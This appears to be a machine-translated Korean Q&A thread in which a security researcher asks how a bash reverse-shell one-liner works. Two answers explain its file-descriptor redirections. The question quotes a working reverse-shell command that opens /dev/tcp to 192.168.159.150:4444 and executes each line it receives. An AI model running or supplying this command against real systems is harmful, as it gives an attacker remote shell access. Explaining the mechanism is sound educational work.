이 명령 리디렉션은 어떻게 작동합니까?

이 명령 리디렉션은 어떻게 작동합니까?

보안 조사를 하고 있는데 다음 코드 조각이 Unix 기반 운영 체제에서 어떻게 작동하는지 알고 싶습니다.

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

나는 완전히 알고 있다무엇이 코드는 수행하지만(즉, 포트 4444를 통해 192.168.159.150에 대한 역방향 셸을 설정) 다음 부분이 수행하는 작업을 이해하지 못합니다.

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

전반적으로, 이것이 어떻게 결합되어 껍질을 생성하는지 알 수 있습니다.

누구든지 이것을 설명하는 데 도움을 주거나 이것을 이해할 수 있는 올바른 방향을 알려줄 수 있습니까?

감사해요

답변1

빠른 개요:

exec 5<>읽고 쓰기 위해 새 파일 핸들을 열고 이름을 지정합니다.5

cat <&5새로 열린 파일 핸들에서 읽기

2>&5 >&52파일 핸들(stderr) 및 파일 핸들(stdout)의 출력을 1파일 핸들로 리디렉션합니다 5. 이 경우에는 두 번째 리디렉션에서 파일 핸들 번호가 제공되지 않았기 때문에 1암시적 입니다.

답변2

귀하의 질문 중 일부에 대한 답변이 완료되었습니다.여기

하지만

  1. 이는 번호가 5인 새 파일 설명자를 정의합니다. 그런데 0은 STDIN, 1은 STDOUT, 2는 STDERR 파일 설명자입니다.
  2. TCP, IP 192.168.159.150, 포트 4444를 통해 수신되는 에코 정보
  3. STDERR 및 STDOUT을 파일 핸들러 5(예: 네트워크)로 보냅니다.

관련 정보